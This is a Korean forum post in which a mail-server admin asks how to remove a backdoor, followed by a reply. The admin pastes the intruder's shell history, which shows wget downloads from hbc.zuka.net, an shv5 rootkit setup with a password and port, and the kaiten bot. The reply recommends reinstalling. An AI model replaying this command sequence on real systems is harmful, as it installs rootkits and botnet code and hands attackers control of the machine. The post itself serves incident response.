백도어 삭제 방법을 알려 주십시요.
004년 12월 31일 10시 46분경 전후
아래와 같이 해킹됬습니다.
[root@mail1 root]# sh inst
[root@mail1 root]# rm -rf inst
[root@mail1 root]# tar -zxvf shv5.tar.gz
[root@mail1 root]# cd /lib/security/.sk12
[root@mail1 root]# ./sk
[root@mail1 root]# cd /tmp/shv5
[root@mail1 root]# ./setup lowkeyzorz 37998
[root@mail1 root]# cd /tmp
[root@mail1 root]# ls
[root@mail1 root]# locate /
[root@mail1 root]# ls
[root@mail1 root]# ls
[root@mail1 root]# rm -rf /lib/security/.sk12
[root@mail1 root]# wget hbc.z
[root@mail1 root]# cd /dev
[root@mail1 root]# ftp
[root@mail1 root]# chmod +x kaiten
[root@mail1 root]# ./kaiten
[root@mail1 root]# cat /proc/meminfo
[root@mail1 root]# cat /proc/cpuinfo
[root@mail1 root]# cd /root
[root@mail1 root]# cat .bash_history
[root@mail1 root]# exit
[root@mail1 root]# rm -rf brk
[root@mail1 root]# wget hbc.zuka.net/shv5.tar.gz
[root@mail1 root]# wget hbc.zuka.net/inst
[root@mail1 root]# sh
[root@mail1 root]# exit
나름데로 공부해서 조치하려 했지만 조심스럽습니다.
부탁 드리겠습니다.
재작자 만이 알겠죠...ㅡㅡㅋ알려진게 아니라면 그냥 밀고 다시 설치를
재작자 만이 알겠죠...ㅡㅡㅋ
알려진게 아니라면 그냥 밀고 다시 설치를 하시고...
알려진거라도 다른 무언가 다른게 있을지 모르니, 다시 밀고 사용하시길.
뭐... 그렇게 중요한 서버가 아니라면 그냥 돌아갈 정도로만 복구하시고...
가끔 남모르는 방문자를 무시하시고 사용을 하시는 방법밖에 없습니다.
예방만이 최선책일뿐, 한 번이라도 뚫린 시스템은 99.99 % 위험합니다.
<어떠한 역경에도 굴하지 않는 '하양 지훈'>
#include <com.h> <C2H5OH.h> <woman.h>
do { if (com) hacking(); if (money) drinking(); if (women) loving(); } while (1);
댓글 달기